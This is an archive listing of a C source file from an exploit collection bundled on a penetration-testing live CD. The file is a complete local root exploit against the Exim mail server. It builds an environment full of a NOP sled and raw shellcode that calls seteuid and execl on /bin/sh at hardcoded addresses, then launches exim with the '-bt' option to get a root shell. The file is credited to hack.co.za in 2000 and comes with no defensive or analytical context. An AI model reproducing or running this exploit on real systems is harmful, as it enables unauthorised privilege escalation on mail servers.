home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / exim / exim.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  983b  |  40 lines

  1. /*
  2.  * sample code for one OS/compiler combination; ./this ./exim -bt you
  3.  */
  4.  
  5. char code[] = {
  6.   0x31,0xc0 /* eax = 0 */
  7.   , 0x50 /* push eax */
  8.   , 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
  9.   , 0xff,0xd3 /* call ebx */
  10.   , 0x31,0xc0
  11.   , 0x50
  12.   , 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
  13.   , 0x50
  14.   , 0x50
  15.   , 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
  16.   , 0xff,0xd3
  17.   , 0x00 /* just to terminate the last string in the environment */ } ;
  18.  
  19. char buf[1000];
  20. char *env[1001];
  21.  
  22. void main(argc,argv)
  23. int argc;
  24. char **argv;
  25. {
  26.   int i;
  27.   int j;
  28.  
  29.   for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
  30.   memcpy(buf + sizeof buf - sizeof code,code,sizeof code);
  31.  
  32.   j = 0;
  33.   env[0] = buf;
  34.   for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1;
  35.   env[j] = 0;
  36.  
  37.   if (argv[1]) execve(argv[1],argv + 1,env);
  38.   exit(1);
  39. }
  40. /*                    www.hack.co.za           [12 June 2000]*/